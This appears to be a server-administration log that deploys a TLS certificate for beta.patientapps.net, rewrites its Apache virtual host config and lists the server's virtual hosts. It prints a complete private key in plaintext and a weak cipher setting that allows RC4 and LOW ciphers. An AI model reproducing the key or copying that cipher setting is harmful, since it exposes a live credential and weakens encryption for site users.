Yy5sZW5jci5vcmcvMTIzLmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB1ANdt
fRDRp/V3wsfpX9cAv/mCyTNaZeHQswFzF8DIxWl3AAABnqwjOBoAAAQDAEYwRAIg
NroNJ2tXS8lszYrR0zUMUN8lyg2roDlNWGogX8e15JgCIFnLKxKPWaB25fdt3dCT
d864h+9L/cbbQhaoWmkgZ8d9AH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkA
sxI8VScAAAGerCM4mgAIAAAFAA6imKYEAwBHMEUCIQCPN6hf4qmbvmbIgccDV9aw
vVL9odrB40UeiJZHahX0uAIgF+wmQTrDyxZjiWQJCCI5PNTyXAaILwxfuVQ497w6
6BcwDQYJKoZIhvcNAQELBQADggEBAJmgijB65IA11Rw4OND17rV/RTULezOW5K3M
EA8GY1Ou1H+eLROCBlmdRkKtnjMGnCZSgLbh3dXbhFYHLrllNnvQPZ6p0DoshT8T
HlMhyy6BtsYUYBAMF09be2XHqcasWIlzl1LFC17Mu204tERH6sXtu7wGYoy+IG3p
lorefXaeEFQDP3G/UkCkieGlGnmMEHOj5LMxLGR7bhG/LW3yg2mZiKStiCui/5q0
mde2vKcErZDNgVnwDrssSxXJJuIBm4L/y39dSqT+yshAda33LJ0iJ/Im2Duq9emr
zP3xUa3A3i5AiuAP81n/t+7/bg7eO55QKucVTcdmw04vuOm9SUE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcxYza72QI8cVy
6+e8Jep3J86fqRm1gvjb5usuI3k/ROr0j0QnnbkgXSwRg5jiaIy0jmxYtBahzTMR
BenXt3IKKNiENNQjNalUrgOwnmo9adPahuZbUovntcFaJqsmjz6a4NCRHOSK47Nc
A+ef3SOaGfHimRHnA7g4yVM5VzZbsTrVWL7XJ7HzEXsametDndssuPcn9tRIc1JG
kk7LXSOLPcZldtvpFINGxKtzvuYA8tJjChXA/HyTg+BWKdn9oEg/CY3h7HVE7pjW
l3+XuJXr2gmtEuh49upwO6yg4MTgIkdYFBIQdD0j8LHzIr54KDUIwPL+ExL+mDuA
8Xk3MmitAgMBAAECggEAMAohtBtO6H5ZoX/xWVjjzAFivg3RHRTum4VETDImZkzU
FprdMQSqXb9AgWAiIrQu1/Q84dFwMk2hTNU9VPYjT9AjCyOmvLGm0tkZzvMtuYbf
dWgQ1LLh5C4B8KDE8dtOO2vrnoQLvCg/pWhpHLmFT3lRT+ZQhbUiv2KZpDrUxn8i
7NdNckVJ6eLfLd3NccyNjsW+xjO4jrFKNlsc34UCaIYmgpbZzg4UBx8zx5ZIO+zs
S06puKOxxgnQYrWvplUc914ubhMDRhhvaT988v4ya0HxLFXBd5WSeLBKACGCxHIg
Qpv9C/63TC66AQHP9snc+l47as+FymGPJsrAzTZsaQKBgQD6ZfbHIIelrXa7aS5z
CZQ7RN2y9Js9xeTglL1IPmiiFh4XWc9iT8R2VThDoq/PqX5Eh4TnpD1rwJrUlrX1
/AsqmEtJyH1bumkLqyIwTtqTgaieSjWyJxMSAgpLQg5yq0ElmuOthRZNJ/m2eGVP
6LFdx5rl5y+sdttsuUGSYnx5WQKBgQDhten9LaJR6T1UJYeTbiDGhtZejLhC/02g
vz/axPKReDONA6+wjLn1KdJmUkx4gB8NY41PxAOlYFIYHId92DfCRAfNjYo8agfL
Akngl6PDaATY867+1cctFHZ4xqN84doM/xj2ogjo9mv+uE/dv9d+xcPdj/iqpNkv
DAMBgLUrdQKBgCbt5VEOGKjEcDow3xzZd2dDjKg+6UfQVYYo+ciak0/n2mPM/bYO
KsAu/aFeULEba9shqqMM4NO4zRmSGNYWinHj3YiqF/tD3wMGZzlVeRwHw3xgkzqQ
YqGhGZKbwX1IbMd47j7S+yWhumwJCc9DoRewab+mkr3geLrNjolAsJN5AoGANVrP
SS30ZPCBstZ8SfmKfeN54Tfahtva+di7u3c67/A+H2NzsIRToQSV2+IweXuv23Zg
/S4Uvo8aWODFlpX5+E4kmg6PUuCtnuuXkyPFbne0TaStBUh7oMhpiPtLwkWRSekz
eXmsKYW22auwFXc39ZvCRSm3Wn9FZ72rKDvIl9ECgYEAnuOBjhksG+wGjytXnRG+
owQkvDB4CpswMam8qQfbPyiUTETKuJmcLg9kKzHKaIF78DxfDgCTTMkHrOhcKyh3
8OHYD+NjezaCJl3qbJx2XO7X7ayDzAKBi8A5GvZUWN8td9+GyWVg636cNFL1qLXL
GuIFXb811ff3jgAFuAo538Q=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-09 11:27:31: 

chmod 755 /tmp/pkp987578; /tmp/pkp987578; rm /tmp/pkp987578

2026-06-09 11:27:31: 


dir=/etc/ssl/certs


2026-06-09 11:27:31: 

PUT: /tmp/pkp142991

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_beta_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-09 11:27:31: 

chmod 755 /tmp/pkp142991; /tmp/pkp142991; rm /tmp/pkp142991

2026-06-09 11:27:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 44
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-06-09 11:27:31: 

PUT: /tmp/pkp280816

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_beta_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_beta_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_beta_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf= 1'
fi


2026-06-09 11:27:31: 

chmod 755 /tmp/pkp280816; /tmp/pkp280816; rm /tmp/pkp280816

2026-06-09 11:27:31: 




2026-06-09 11:27:31: 

PUT: /tmp/pkp197185

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-09 11:27:31: 

chmod 755 /tmp/pkp197185; /tmp/pkp197185; rm /tmp/pkp197185

2026-06-09 11:27:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-09 11:27:31: Establishing a connection
2026-06-09 11:27:31: 

PUT: /tmp/pkp518170

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-09 11:27:31: 

chmod 755 /tmp/pkp518170; /tmp/pkp518170; rm /tmp/pkp518170

2026-06-09 11:27:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-09 11:27:31: 

PUT: /tmp/pkp290968

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_beta_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-09 11:27:31: 

chmod 755 /tmp/pkp290968; /tmp/pkp290968; rm /tmp/pkp290968

2026-06-09 11:27:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf	1621
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-06-09 11:27:31: 

PUT: /tmp/pkp224454

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-09 11:27:31: 

chmod 755 /tmp/pkp224454; /tmp/pkp224454; rm /tmp/pkp224454

2026-06-09 11:27:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8	7428
28:88:b7:73:aa:67:b7:74:9f:11:5a:f1:ee:50:1f:3a

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBtX/x+9EhL36mohZT7InQzN6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA5MTAyODU5WhcNMjYwOTA3MTAyODU4WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBANzFjNrvZAjxxXLr57wl6ncnzp+pGbWC+Nvm6y4jeT9E6vSPRCeduSBd
LBGDmOJojLSObFi0FqHNMxEF6de3cgoo2IQ01CM1qVSuA7Ceaj1p09qG5ltSi+e1
wVomqyaPPprg0JEc5Irjs1wD55/dI5oZ8eKZEecDuDjJUzlXNluxOtVYvtcnsfMR
exqZ60Od2yy49yf21EhzUkaSTstdI4s9xmV22+kUg0bEq3O+5gDy0mMKFcD8fJOD
4FYp2f2gSD8JjeHsdUTumNaXf5e4levaCa0S6Hj26nA7rKDgxOAiR1gUEhB0PSPw
sfMivngoNQjA8v4TEv6YO4DxeTcyaK0CAwEAAaOCAiIwggIeMA4GA1UdDwEB/wQE
